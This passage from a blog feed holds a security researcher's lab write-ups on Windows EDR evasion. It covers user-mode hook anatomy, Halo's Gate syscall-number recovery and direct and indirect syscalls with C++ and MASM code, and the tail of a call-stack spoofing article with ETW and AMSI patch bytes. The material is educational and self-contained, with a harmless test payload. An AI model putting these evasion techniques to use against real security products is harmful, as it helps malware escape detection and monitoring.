address at exactly the offset .pdata demands - so the unwinder doesn&#39;t just see a plausible top frame, it walks <em>through</em> the fake frame and finds the real chain behind it. The stack doesn&#39;t merely look clean at frame 1; it unwinds clean all the way to RtlUserThreadStart.</p><h3>One Fix Since Last Time: The Resolver Now Fails Closed</h3><p>Readers of the previous article may remember the callout: if Halo’s Gate found no clean neighbor within 500 stubs, ResolveSyscallEntry fell through, left the SSN at whatever the caller initialized, and returned TRUE - a fail-open path that would have invoked syscall slot 0. That weakness is now closed in the lab. Callers initialize the SSN to -1 (impossible for a real SSN), the resolver returns FALSE when it couldn&#39;t improve on that value, and main aborts before any syscall:</p><pre>DWORD ssnNtAllocateVirtualMemory = -1;<br>...<br>ResolveSyscallEntry(baseNtAllocateVirtualMemory, &amp;ssnNtAllocateVirtualMemory, &amp;legitimateInstrAddrNtAllocateVirtualMemory);<br>...<br>if(ssnNtAllocateVirtualMemory == -1 || ssnNtProtectVirtualMemory == -1 || ssnNtWriteVirtualMemory == -1)<br>{<br>    printf(&quot;[-] Couldn&#39;t recover SSNs for the functions, NtAllocateVirtualMemory: 0x%X NtProtectVirtualMemory: 0x%X NtWriteVirtualMemory: 0x%X\n&quot;, ssnNtAllocateVirtualMemory, ssnNtProtectVirtualMemory, ssnNtWriteVirtualMemory);<br>    return 1;<br>}</pre><p>A detector that returns nothing is an alarm, not a pass — now the code enforces it, not just the prose.</p><h3>The Lab Run</h3><p>The full sequence on my VM — gadget discovery, simulated E9 hook on NtAllocateVirtualMemory, Halo&#39;s Gate recovery, then allocate/write/protect through spoofed-indirect and direct syscalls, executing the six-byte payload from the first article:</p><pre>c:\Users\cyber\OneDrive\Desktop\labs\lab-4.3&gt;main.exe<br>[!] NT functions resolved successfully.<br>[+] Found a gadget in KernelBase.dll at 0x00007FFEEE98BBD4 with stack size 0x68<br>[+] NtAllocateVirtualMemory first 8 bytes before the EDR hook: 4C 8B D1 B8 18 0 0 0<br>[!] Patching first 5 bytes of NtAllocateVirtualMemory.<br>[+] Patched successfully. The first 8 bytes of NtAllocateVirtualMemory after patch: E9 AA BB CC DD 0 0 0<br>[!] Resolving SSNs for NT functions.<br>[!] WARNING: A hook was detected at: 0x00007FFEF1162040<br>[+] Recovered SSN for the NtAllocateVirtualMemory: 0x18 and syscall gadget address: 0x00007FFEF1162052, NtProtectVirtualMemory: 0x50 and syscall gadget address: 0x00007FFEF1162752, NtWriteVirtualMemory: 0x3A and syscall gadget address(not used for direct syscall): 0x00007FFEF1162492<br>[!] Making the indirect syscall for NtAllocateVirtualMemory.<br>[+] Spoofed indirect syscall successful, copying payload with direct syscall and protecting the allocated memory.<br>[+] Copied the payload and protected allocated memory successfully. Triggering execution.<br>[+] Shellcode function returned: 1337<br>[!] Restoring NtAllocateVirtualMemory hook.<br>[+] Restored NtAllocateVirtualMemory hook.</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*1aTM0wCS99TeXLpd.png" /></figure><p>Now the debugger proof. Paused on syscall inside ntdll.dll ( 0x00007FFEF1162052), the stack pane tells the whole story in two lines:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*J-GmvmU238edVait.png" /></figure><p>[RSP] = 0x000000FF8B8FFA18 → <strong>kernelbase.SleepEx+2A4</strong>. Exactly 0x70 bytes lower ( 0x68 frame + 8 return address) at 0x000000FF8B8FFA88 → <strong>main.main+423</strong>. That is the screenshot at the top of this article - x64dbg&#39;s Call Stack tab unwinding ntdll.NtAllocateVirtualMemory+12 → kernelbase.SleepEx+2A4 → main.main+423 → BaseThreadInitThunk → RtlUserThreadStart, using RtlVirtualUnwind and my forged frame&#39;s metadata, and finding no seam.</p><p>Two more screenshots complete the return journey. Stepping past ntdll’s ret lands inside <strong>Module: kernelbase.dll</strong> - on the borrowed FF 23:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*K479isced-kkFcT1.png" /></figure><p>And one more step, the gadget teleports us home — RestoreAfterSyscall deallocating the 0x68-byte synthetic frame, restoring RBX, returning STATUS_SUCCESS to main():</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*-U1RZT62dcjAyH1Z.png" /></figure><h3>Two Findings Worth Their Own Sections</h3><p><strong>The x64dbg </strong><strong>CallstackCache trap.</strong> My first attempt at the money screenshot showed DoSpoofedIndirectSyscall+2A as frame 0 instead of ntdll - a wrong result that took real debugging to explain. x64dbg caches unwound call stacks keyed by stack pointer alone; if you single-step ( F7) over push qGadgetAddr and then step through the jmp, the debugger caches a frame computed from the intermediate state and - because jmp doesn&#39;t change RSP - serves the stale entry when you inspect the stack at syscall. Breaking directly on ntdll!NtAllocateVirtualMemory+0x12 with F9 (no single-stepping through the stub) bypasses the cache and shows the true live stack. Lesson: when a debugger agrees with your exploit too neatly or disagrees too weirdly, ask what the debugger itself cached.</p><p><strong>Single frame is enough for a disk-backed EXE — not for unbacked memory.</strong> My payload runs from main.exe, so one synthetic KernelBase frame restores a natural-looking ntdll ← kernelbase ← main.exe chain. When execution comes from unbacked Private memory (a <a href="https://yigitaydemir.com/blog/from-syscall-to-reflective-loader">reflectively mapped DLL</a>), a single frame only moves the anomaly one level down - the walker still eventually reaches frames pointing into non-image memory. Full-chain stack spoofers (SilentMoonwalk, Draugr, VulcanRaven&#39;s approach) push an entire synthetic chain - KernelBase → kernel32!BaseThreadInitThunk → ntdll!RtlUserThreadStart - terminated by a NULL return address, which RtlVirtualUnwind treats as the end of the stack. The walker never reaches the unbacked frames at all, because the forged thread-start story is where every legitimate thread&#39;s stack <em>does</em> end.</p><h3>The Rest of the Ring 3 Telemetry: ETW and AMSI</h3><p>Call-stack walking is the third leg of user-mode telemetry. The other two live in your process as well, and Module 4.3’s notes cover both:</p><p><strong>ETW.</strong> User-mode components (.NET, PowerShell, WinINet, the ntdll loader) emit events through ntdll!EtwEventWrite → the NtTraceEvent syscall. Patching its first bytes with 33 C0 C3 ( xor eax, eax; ret) silently no-ops your process&#39;s user-mode ETW writes. Two caveats keep this honest: kernel ETW-Threat-Intelligence emits from ntoskrnl directly and is untouched by any Ring 3 patch - and any .text modification flips the page to copy-on-write private memory, which is exactly the byte-mismatch that integrity scanners (PE-sieve, Moneta, EDR sweeps) exist to catch.</p><p><strong>AMSI.</strong> Scripting and managed runtimes call amsi!AmsiScanBuffer on buffers before executing them; the classic patch returns E_INVALIDARG ( mov eax, 0x80070057; ret) so the buffer never reaches the AV provider. Same integrity cost, same trade.</p><p>Which is why modern evasion research keeps moving toward <strong>patchless</strong> techniques — hardware breakpoints ( DR0-DR3) plus vectored exception handlers intercept without writing a single byte of .text - the same Class-B ideas from my last article&#39;s comment section, now pointing at ETW/AMSI instead of syscall stubs.</p><h3>To Be Continued</h3><p>With this module, the Windows x64 track of <a href="https://github.com/st4inl3s5/OS-Internals">OS-Internals</a> is complete for now: Rings and the syscall boundary → virtual memory and W^X → PEB/TEB → the PE format → EAT/IAT/relocations → the reflective loader → hook bypass and syscalls → and now the call stack itself. Three articles, one progression: each one removed one more thing an investigator could trust.</p><p>I don’t yet know where the series goes from here — and I’d rather leave that open than promise a direction I haven’t walked. Every lab and note behind these three articles lives in the <a href="https://github.com/st4inl3s5/OS-Internals">repository</a>, and the rule stays the same whatever comes next: I write about it once I’ve built it and broken it.</p><p>To be continued.</p><p><em>Originally published at </em><a href="https://yigitaydemir.com/blog/call-stack-spoofing-pdata-unwinding"><em>https://yigitaydemir.com</em></a><em> on October 30, 2026.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d8aed0455231" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Be the EDR, Then Bypass It: Halo’s Gate and Indirect Syscalls — Yiğit Aydemir]]></title>
            <link>https://medium.com/@st4inl3s5/be-the-edr-then-bypass-it-halos-gate-and-indirect-syscalls-yi%C4%9Fit-aydemir-51777ae9273e?source=rss-8ac372c1fc98------2</link>
            <guid isPermaLink="false">https://medium.com/p/51777ae9273e</guid>
            <category><![CDATA[edr]]></category>
            <category><![CDATA[malware-development]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[cpp]]></category>
            <category><![CDATA[windows-internals]]></category>
            <dc:creator><![CDATA[Yiğit Aydemir]]></dc:creator>
            <pubDate>Wed, 28 Oct 2026 00:00:00 GMT</pubDate>
            <atom:updated>2026-10-28T13:26:03.527Z</atom:updated>
            <content:encoded><![CDATA[<p>In my <a href="https://yigitaydemir.com/blog/from-syscall-to-reflective-loader">previous article</a>, I ended with a loader that maps a DLL into memory without calling LoadLibrary or GetProcAddress. But it still had a soft spot, and I said so at the time: every memory operation went through ntdll&#39;s exported syscall stubs - the <em>exact</em> stubs an EDR overwrites before your process even starts.</p><p>So this time I played both sides. First I acted as the EDR: I flipped ntdll.dll&#39;s .text page writable in my own process and stomped the first five bytes of NtAllocateVirtualMemory with E9 AA BB CC DD - a fake jmp that destroys both the stub&#39;s prologue and its hardcoded syscall number. Then I wrote the bypass: detect the hook, recover the destroyed number from a <em>neighboring</em> stub, and enter the kernel without ever executing the hooked bytes.</p><p>The console run that does all of it, ending with shellcode returning 1337 from a page the hooked function allocated:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*0LT7dvoLqhG9gcWZ.png" /></figure><p>Everything below comes from my <a href="https://github.com/st4inl3s5/OS-Internals">OS-Internals study repository</a> — labs run on my own Windows 11 VM, in my own process, with x64dbg verifying every claim. This is about understanding the machinery, on both sides of it.</p><h3>Why the Hook Lives in Your Process, Not the Kernel</h3><p>The natural question from last time: if an EDR wants to watch every memory operation, why not do it in Ring 0, where user-mode code can’t touch it?</p><p>Because Microsoft won’t let it. Two hard constraints:</p><p><strong>PatchGuard.</strong> In the 32-bit XP era, antivirus drivers hooked the kernel’s SSDT ( KeServiceDescriptorTable) so every syscall passed through them first. Poorly written hooks collided and blue-screened machines en masse - and users blamed Microsoft. On 64-bit Windows, Kernel Patch Protection crashes the whole machine ( 0x109 CRITICAL_STRUCTURE_CORRUPTION) the moment a driver patches ntoskrnl code or the SSDT. The kernel&#39;s syscall table is off limits to everyone, including security products.</p><p><strong>The callback list has a hole in it.</strong> Microsoft does give vendors official kernel callbacks — process creation, thread creation, image loads, handle operations, registry, file I/O. Look at what’s <em>not</em> on that list: NtAllocateVirtualMemory, NtProtectVirtualMemory, NtWriteVirtualMemory, NtQueueApcThread, NtGet/SetContextThread, NtMapViewOfSection. No synchronous kernel callback exists for virtual memory and thread-context syscalls - they fire thousands of times per second system-wide, and blocking on a vendor DLL inside the kernel for each one would crawl the OS to a halt.</p><p>So EDRs bridge the blind spot from the other side. When your process starts, the EDR’s driver (via PsSetLoadImageNotifyRoutine or an APC) forces a sensor DLL into your Ring 3 address space. That DLL flips ntdll&#39;s .text writable and overwrites the first bytes of the interesting Nt* stubs with a jmp into itself. The kernel never knows; your process now politely routes every syscall through the EDR&#39;s inspector first, which can examine arguments, walk your call stack, and block or allow.</p><p>The irony that makes this whole field possible: the sensor DLL and ntdll both live in <strong>your</strong> process, in memory you can read.</p><h3>Anatomy of the 32-Byte Stub</h3><p>Here is the byte-for-byte layout of a clean ntdll!NtAllocateVirtualMemory on Windows 10/11 - every stub in ntdll is aligned to 16 bytes and occupies exactly 0x20 (32) bytes:</p><pre>CLEAN STUB: ntdll!NtAllocateVirtualMemory (Total size: 0x20 / 32 bytes)<br>+---------------------------------------------------------------------------------------------------+<br>| Offset | Raw Bytes                | Disassembly                   | Purpose                    |<br>+--------+--------------------------+-------------------------------+----------------------------+<br>| +0x00  | 4C 8B D1                 | mov r10, rcx                  | Save Arg1 (RCX) into R10  |<br>| +0x03  | B8 18 00 00 00           | mov eax, 0x18                 | Load SSN (0x18) into EAX  |<br>| +0x08  | F6 04 25 08 03 FE 7F 01  | test byte ptr [0x7FFE0308], 1 | KUSER_SHARED_DATA check  |<br>| +0x10  | 75 03                    | jne +0x03 (to int 2Eh)        | Legacy hypervisor path    |<br>| +0x12  | 0F 05                    | syscall                       | Ring 3 -&gt; Ring 0          |<br>| +0x14  | C3                       | ret                           | Return to caller          |<br>| +0x15  | CD 2E                    | int 0x2E                      | Legacy interrupt syscall  |<br>| +0x17  | C3                       | ret                           | Return                    |<br>| +0x18  | 0F 1F 84 00 00 00 00 00  | nop dword ptr [rax+rax*1+0x0] | Alignment padding        |<br>+---------------------------------------------------------------------------------------------------+</pre><p>Two details matter enormously in a moment. First, mov r10, rcx exists because the syscall instruction itself destroys RCX - the CPU hardware saves the user-mode return address there (and RFLAGS into R11) when transitioning to the kernel. The stub must park the first argument in R10 before it evaporates. Second, the System Service Number - the 0x18 the kernel reads from EAX to index the SSDT - sits at bytes +0x04..+0x07, immediately after the 0xB8 opcode at +0x03.</p><h3>What the Hook Actually Overwrites</h3><p>An inline hook needs 5 bytes for jmp rel32 ( 0xE9 + signed 32-bit displacement). Written at offset +0x00, those five bytes eat the 3-byte mov r10, rcx <strong>and the first two bytes of </strong><strong>mov eax, 0x18</strong> - the SSN is gone:</p><pre>HOOKED STUB: ntdll!NtAllocateVirtualMemory<br>+--------+--------------------------+-------------------------------+---------------------------+<br>| Offset | Raw Bytes                | Disassembly                   | Status                    |<br>+--------+--------------------------+-------------------------------+---------------------------+<br>| +0x00  | E9 7B CC F5 DF           | jmp &lt;edr_sensor&gt;              | &lt;-- 5-byte inline hook    |<br>| +0x05  | 00 00 00                 | add [rax], al (CORRUPTED)     | &lt;-- leftover upper bytes  |<br>| +0x08  | F6 04 25 08 03 FE 7F 01  | test byte ptr [0x7FFE0308], 1 | Intact                   |<br>| +0x10  | 75 03                    | jne +0x03                     | Intact                    |<br>| +0x12  | 0F 05                    | syscall                       | &lt;-- STILL INTACT          |<br>| +0x14  | C3                       | ret                           | &lt;-- STILL INTACT          |<br>+--------+--------------------------+-------------------------------+---------------------------+</pre><p>(Some EDRs use the “Tartarus’ Gate” placement instead: leaving mov r10, rcx alone and writing the jump at +0x03. Hook detection must check both funcAddr[0] == 0xE9 and funcAddr[3] == 0xE9.)</p><p>The full control flow of a hooked call, with the EDR’s trampoline re-executing the stolen instructions before returning into the stub at +0x08:</p><pre>1. main.exe -&gt; ntdll!NtAllocateVirtualMemory +0x00     jmp &lt;edr&gt;   (hooked bytes)<br>2. edr_sensor!HookDetour                              inspect args, walk call stack<br>        |-- benign  -&gt; edr_sensor!Trampoline          execute stolen bytes:<br>        |                 mov r10, rcx / mov eax, 18h  then jmp ntdll+NtAllocVM+0x08<br>        |                                    v<br>        |                 ntdll!NtAllocateVirtualMemory +0x12   syscall -&gt; Ring 0<br>        &#39;-- malicious -&gt; BLOCK / terminate the process</pre><p>And there, in the hooked-stub table above, is the fundamental flaw of user-mode hooking, stated in one line: <strong>the </strong><strong>syscall; ret at </strong><strong>+0x12/+0x14 is untouched.</strong> The kernel doesn&#39;t know or care whether your thread visited the EDR&#39;s DLL on the way in. When the CPU executes syscall, all the kernel sees is arguments in R10/RDX/R8/R9/stack and an SSN in EAX. Everything an EDR enforced happened in <em>your</em> memory - and everything the kernel will verify happens <em>after</em> the transition.</p><h3>Recovering the Destroyed SSN: Hell’s Gate, Halo’s Gate</h3><p>You cannot hardcode SSNs — Microsoft shuffles them between builds ( NtCreateThreadEx alone drifted 0xB3 → 0xB4 → 0xBD → 0xC1 → 0xC7 across Windows 10/11 updates), and calling the wrong number in Ring 0 fails or corrupts kernel parameter parsing. You must resolve them at runtime, from memory.</p><p><strong>Hell’s Gate</strong> does the naive thing: locate the stub via your own EAT walk, verify the clean prologue ( 4C 8B D1 B8), read the WORD at +0x04. It works beautifully - on unhooked stubs. On a hooked stub, funcAddr[0] is 0xE9 and the SSN bytes at +0x04 are jump-displacement garbage. Hell&#39;s Gate fails precisely when it matters.</p><p><strong>Halo’s Gate</strong> exploits a layout invariant of ntdll.dll: syscall stubs sit in .text in <strong>ascending SSN order, at a fixed stride of exactly </strong><strong>0x20 bytes each</strong>. If my target is hooked, its neighbors probably aren&#39;t:</p><pre>ntdll.dll .text — each stub exactly 0x20 (32) bytes<br>+-----------------------+--------------------+---------------------------+------------------+------+<br>| Address               | Offset from target | Function                  | First bytes      | SSN  |<br>+-----------------------+--------------------+---------------------------+------------------+------+<br>| funcAddr - (2 * 0x20) | -0x40              | NtQuerySection (CLEAN)    | 4C 8B D1 B8 16.. | 0x16 |<br>| funcAddr - (1 * 0x20) | -0x20              | NtMapViewOfSection HOOKED | E9 4A CD F5 DF.. | ???? |<br>| funcAddr              |  0x00 (target)     | NtAllocateVirtualMemory   | E9 7B CC F5 DF.. | ???? |<br>| funcAddr + (1 * 0x20) | +0x20              | NtFreeVirtualMemory CLEAN | 4C 8B D1 B8 19.. | 0x19 |<br>| funcAddr + (2 * 0x20) | +0x40              | NtReadVirtualMemory CLEAN | 4C 8B D1 B8 1A.. | 0x1A |<br>+-----------------------+--------------------+---------------------------+------------------+------+</pre><p>Walk one stub down: NtFreeVirtualMemory is clean, SSN 0x19. It sits one slot <em>after</em> my target, so mine is one less: 0x19 - 1 = 0x18. Or walk two stubs up to NtQuerySection ( 0x16) and add: 0x16 + 2 = 0x18. Either direction, the arithmetic is exact - stubs are sequential. Even an EDR that hooks fifty functions can&#39;t cover all ~450+ stubs; a loop up to a few hundred neighbors is mathematically guaranteed to find clean ground.</p><p>The lab’s ResolveSyscallEntry implements the whole ladder - Hell&#39;s Gate check first, Halo&#39;s Gate walk if hooked, plus a bonus that indirect syscalls will need: scanning the 32-byte stub for the 0F 05 C3 ( syscall; ret) gadget:</p><pre>BOOL ResolveSyscallEntry(BYTE* funcAddr, DWORD* outSsn, PVOID* outSyscallInstAddr)<br>{<br>    if(funcAddr[0] == 0x4c &amp;&amp; funcAddr[1] == 0x8b &amp;&amp; funcAddr[2] == 0xd1 &amp;&amp; funcAddr[3] == 0xb8)<br>    {<br>        *outSsn = *(WORD*)(funcAddr + 4);<br>    }<br>    if(funcAddr[0] == 0xe9 || funcAddr[3] == 0xe9)<br>    {<br>        printf(&quot;[!] WARNING: A hook was detected at: 0x%p\n&quot;, funcAddr);<br>        for(WORD idx = 0; idx &lt; 500; idx++)<br>        {<br>            BYTE* downNeighbor = funcAddr + (idx * 0x20);<br>            if(downNeighbor[0] == 0x4c &amp;&amp; downNeighbor[1] == 0x8b &amp;&amp; downNeighbor[2] == 0xd1 &amp;&amp; downNeighbor[3] == 0xb8)<br>            {<br>                WORD neighborSsn = *(WORD*)(downNeighbor + 4);<br>                *outSsn = neighborSsn - idx;<br>                break;<br>            }<br>            BYTE* upNeighbor = funcAddr - (idx * 0x20);<br>            if(upNeighbor[0] == 0x4c &amp;&amp; upNeighbor[1] == 0x8b &amp;&amp; upNeighbor[2] == 0xd1 &amp;&amp; upNeighbor[3] == 0xb8)<br>            {<br>                WORD neighborSssn = *(WORD*)(upNeighbor + 4);<br>                *outSsn = neighborSssn + idx;<br>                break;<br>            }<br>        }<br>    }<br>    for(WORD i = 0; i &lt; 32; i++)<br>    {<br>        if(funcAddr[i] == 0x0f &amp;&amp; funcAddr[i+1] == 0x05 &amp;&amp; funcAddr[i+2] == 0xc3)<br>        {<br>            *outSyscallInstAddr = &amp;funcAddr[i];<br>            break;<br>        }<br>    }<br>    return TRUE;<br>}</pre><blockquote><strong><em>A weakness in this lab worth naming:</em></strong><em> if no clean neighbor exists within the loop’s 500-stub reach — for example, an EDR that hooks a contiguous run around the functions it cares about — the loop falls through without writing anything, </em><em>*outSsn stays </em><em>0, and </em><em>ResolveSyscallEntry still returns </em><em>TRUE. That </em><em>0 would flow straight into </em><em>PrepareSyscall and invoke syscall slot </em><em>0 with live register state. The rule this teaches: &quot;no clean neighbor found&quot;, &quot;SSN resolved to 0&quot;, and &quot;no </em><em>0F 05 C3 gadget located&quot; must all be abort conditions - a detector that returns nothing is an alarm, not a pass.</em></blockquote><p>Note what resolving still relies on: the PEB walk and DJB2-hashed EAT walk from the previous article ( 0x6793C34C, 0x082962C8, and now 0x95F3A792 for NtWriteVirtualMemory). Nothing here imports an API or contains an API-name string.</p><h3>The Execution Half: syscalls.asm</h3><p>With the SSN and gadget address in hand, execution lives in a 30-line MASM file. (64-bit MSVC has no inline __asm, so assembly goes in a separate .asm assembled by ml64.exe.) The entire file:</p><pre>.data<br>    wSystemCall DWORD 0<br>    qSyscallInsAddr QWORD 0<br><br>.code<br><br>    PUBLIC PrepareSyscall<br>    PrepareSyscall PROC<br>        ; RCX = 1st argument(DWORD ssn)<br>        ; RDX = 2st argument (PVOID syscallInstructionAddr)<br>        mov wSystemCall, ecx<br>        mov qSyscallInsAddr, rdx<br>        ret<br>    PrepareSyscall ENDP<br><br>    PUBLIC DoDirectSyscall<br>    DoDirectSyscall PROC<br>        mov r10, rcx<br>        mov eax, wSystemCall<br>        syscall<br>        ret<br>    DoDirectSyscall ENDP<br><br>    PUBLIC DoIndirectSyscall<br>    DoIndirectSyscall PROC<br>        mov r10, rcx<br>        mov eax, wSystemCall<br>        jmp qword ptr [qSyscallInsAddr]<br>    DoIndirectSyscall ENDP<br><br>END</pre><p>PrepareSyscall parks the SSN and gadget address in globals. DoDirectSyscall and DoIndirectSyscall are declared in C++ as variadic extern &quot;C&quot; NTSTATUS ...(....) - they never touch RCX/RDX/R8/R9 or the stack slots, so the compiler places your arguments exactly where KiSystemCall64 expects to find them.</p><p>The difference between the two stubs is one instruction, and it is the entire article: syscall executed <strong>inside your binary</strong>, versus jmp to the syscall; ret sitting untouched <strong>inside ntdll</strong>.</p><h3>Direct vs. Indirect: the Return Address That Betrays You</h3><p>A direct syscall skips the hook entirely — your code loads EAX, executes syscall from main.exe, and the kernel obliges. Bypass achieved. But look at what the kernel can see of the transition.</p><p>The syscall instruction copies the user-mode return RIP into RCX, and the kernel stores it in the thread&#39;s _KTRAP_FRAME.Rip. Kernel callbacks and ETW Threat Intelligence can inspect that value - and here is the statistical reality: in a legitimate Windows process, <strong>100% of syscalls originate from </strong><strong>ntdll.dll or </strong><strong>win32u.dll</strong>. No legitimate main.exe, kernel32.dll, or kernelbase.dll ever executes a raw syscall instruction. A trap frame whose return address points into an unsigned module is, by itself, a finding.</p><pre>[A] DIRECT SYSCALL — flagged by kernel origin checks:<br><br>    main.exe!main()<br>      -&gt; main.exe!DoDirectSyscall()<br>           mov r10, rcx<br>           mov eax, 0x18<br>           syscall            ; executed at 0x7FF60FC01056, inside main.exe<br>             |<br>             v  [Ring 0]<br>           Kernel inspects _KTRAP_FRAME.Rip:<br>           return RIP = 0x7FF60FC01058  -&gt; inside main.exe, NOT ntdll  -&gt; [ANOMALY]<br><br>[B] INDIRECT SYSCALL — clean origin, clean call stack:<br><br>    main.exe!main()<br>      -&gt; main.exe!DoIndirectSyscall()    ; &#39;call&#39; pushed return addr (main+0x45) onto RSP<br>           mov r10, rcx<br>           mov eax, 0x18<br>           jmp [qSyscallInsAddr]         ; jmp, NOT call — pushes nothing<br>             |<br>             v<br>           ntdll!NtAllocateVirtualMemory +0x12<br>           syscall                       ; executed at 0x7FFFC80A3392, inside ntdll.dll<br>             |<br>             v  [Ring 0]<br>           Kernel inspects _KTRAP_FRAME.Rip:<br>           return RIP = 0x7FFFC80A3394  -&gt; inside legitimate ntdll.dll -&gt; [CLEAN]<br>             |<br>             v  [sysret]<br>           ret                           ; pops main+0x45 off RSP, back to main()</pre><p>Trace the stack in [B] carefully, because it&#39;s the elegant part. The call into DoIndirectSyscall pushed main+0x45 onto RSP. The stub uses jmp - which pushes nothing - so when execution lands on syscall inside ntdll, [RSP] still holds main+0x45. The kernel&#39;s syscall executes, sysret returns to ntdll&#39;s ret, and that ret pops main+0x45 straight back to your code. One stack slot, no frame from your module anywhere near the transition: the hook at +0x00 is jumped past, the syscall executes in legitimate ntdll memory, and the origin check sees exactly what a genuine ntdll call looks like.</p><h3>The Lab: Both Sides, In One Process</h3><p>Lab 4.2 runs the full loop on my VM. First, be the EDR — resolve the three NT functions by hash, print NtAllocateVirtualMemory&#39;s clean first bytes, then use NtProtectVirtualMemory to flip the page PAGE_EXECUTE_READWRITE and stomp the stub:</p><pre>baseNtAllocateVirtualMemory[0] = 0xE9;<br>baseNtAllocateVirtualMemory[1] = 0xAA;<br>baseNtAllocateVirtualMemory[2] = 0xBB;<br>baseNtAllocateVirtualMemory[3] = 0xCC;<br>baseNtAllocateVirtualMemory[4] = 0xDD;</pre><p>Five bytes: prologue and SSN destroyed. Then run ResolveSyscallEntry on all three functions and confirm recovery - the console tells the story:</p><pre>c:\Users\cyber\OneDrive\Desktop\labs\lab-4.2&gt;main.exe<br>[!] NT functions resolved successfully.<br>[+] NtAllocateVirtualMemory first 8 bytes before the EDR hook: 4C 8B D1 B8 18 0 0 0<br>[!] Patching first 5 bytes of NtAllocateVirtualMemory.<br>[+] Patched successfully. The first 8 bytes of NtAllocateVirtualMemory after patch: E9 AA BB CC DD 0 0 0<br>[!] Resolving SSNs for NT functions.<br>[!] WARNING: A hook was detected at: 0x00007FF8BE0A2040<br>[+] Recovered SSN for the NtAllocateVirtualMemory: 0x18 and syscall gadget address: 0x00007FF8BE0A2052, NtProtectVirtualMemory: 0x50 and syscall gadget address: 0x00007FF8BE0A2752<br>[!] Making the indirect syscall for NtAllocateVirtualMemory.<br>[+] Indirect syscall successful, copying payload with direct syscall and protecting the allocated memory.<br>[+] Copied the payload and protected allocated memory successfully. Triggering execution.<br>[+] Shellcode function returned: 1337<br>[!] Restoring NtAllocateVirtualMemory hook.<br>[+] Restored NtAllocateVirtualMemory hook.</pre><p>The allocation went through the <strong>indirect</strong> stub ( jmp to ntdll+0x12, past the E9 hook), the payload write through the <strong>direct</strong> stub - deliberately, to compare both origins in the debugger - and the permission flip back to RX through the indirect stub again before executing the six-byte mov eax, 1337; ret payload from the first article.</p><p>In x64dbg, the difference is visible in the window title bar. Here is DoIndirectSyscall paused on syscall - <strong>Module: ntdll.dll</strong>, RIP = 0x7FF8BE0A2052, with the E9 AABBCCDD hook sitting untouched at 0x7FF8BE0A2040 a few bytes above:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*apmaIsCagJvz3pAJ.png" /></figure><p>And here is DoDirectSyscall - <strong>Module: main.exe</strong>, RIP = 0x7FF6616C81D7, RAX = 0x3A for NtWriteVirtualMemory. When this syscall enters Ring 0, _KTRAP_FRAME.Rip will hold an address inside main.exe - the anomaly, on screen:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*7mvXy_-3oWU27R6g.png" /></figure><p>For completeness, the three MASM stubs as the linker placed them in main.exe:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*ldGGsp8nJLnk_15V.png" /></figure><h3>Two Bugs Worth More Than the Feature</h3><p>The lab worked first try — and then crashed at getchar(). Both failure investigations taught me more than the happy path, so they&#39;re worth retelling.</p><p><strong>The </strong><strong>getchar() that jumped into nowhere.</strong> After the payload executed, the process died at fault offset 0x7FF89BD6DBEF. That address is exactly where our fake E9 AA BB CC DD hook points: 0x7FF8BE0A2040 + 5 - 0x22334456 = 0x7FF89BD6DBEF. The trigger? getchar() made ucrtbase.dll lazily allocate its stdin buffer - through a perfectly normal call to ntdll!NtAllocateVirtualMemory at +0x00, which hit <em>our</em> hook and jumped to unmapped memory. The bypass worked; the rest of the process didn&#39;t know a hook was in place. A real EDR hook doesn&#39;t just sit there waiting for you - every innocent caller in the process walks through it too. (The final version of the lab restores the stolen bytes before pausing.)</p><p><strong>The permission flip that killed </strong><strong>sysret.</strong> My first hook-simulation attempt set ntdll&#39;s .text page to PAGE_READWRITE while patching - and faulted instantly. The reason is a genuine internals lesson: NtAllocateVirtualMemory ( 0x...2040) and NtProtectVirtualMemory ( 0x...2740) live only 0x700 apart - on the <strong>same 4 KB page</strong>. The very NtProtectVirtualMemory call that removed the Execute bit from that page had to execute ret from it after sysret returned. The kernel came back to a non-executable page and the CPU refused the instruction fetch. PAGE_EXECUTE_READWRITE during the patch window - the permission everyone reflexively calls sloppy - is the <em>correct</em> choice when the code doing the flipping lives on the page being flipped.</p><h3>Where This Goes Next</h3><p>The indirect syscall leaves one artifact an investigator can still trust: the <strong>call stack</strong>. The transition origin is clean, but the frames below it still show your module calling into things it never legitimately calls — which is precisely what Module 4.3 is about: call-stack spoofing, .pdata unwind tables, and how ETW and AMSI fit into the picture.</p><p>Both techniques here also have honest limits on the <em>detection</em> side. The byte-pattern checks in ResolveSyscallEntry catch the classic 5-byte E9 hook - not the stealthier classes: mid-stub patches that leave the prologue looking clean, hardware-breakpoint hooks that modify no bytes at all, or products that skip user-mode hooking entirely and watch from kernel telemetry. The stronger form of the same idea is integrity verification - diffing live stubs against a clean copy of ntdll mapped from the KnownDlls section object. That&#39;s a lab for a future article, once I&#39;ve built and broken it myself.</p><p>The notes are already in the <a href="https://github.com/st4inl3s5/OS-Internals">OS-Internals repository</a> alongside every lab from this series.</p><p>Same advice as last time, and this lab proves it twice over: hook your own process, break your own stub, and debug what falls out. The two crashes above taught me more about sysret, page granularity, and lazy CRT allocation than the bypass itself did.</p><p><em>Originally published at </em><a href="https://yigitaydemir.com/blog/edr-hooks-halos-gate-indirect-syscalls"><em>https://yigitaydemir.com</em></a><em> on October 28, 2026.</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=51777ae9273e" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[From Syscall to Reflective Loader: Windows Module Loading, Rebuilt from First Principles]]></title>
            <link>https://medium.com/@st4inl3s5/from-syscall-to-reflective-loader-windows-module-loading-rebuilt-from-first-principles-97df1f663ee9?source=rss-8ac372c1fc98------2</link>
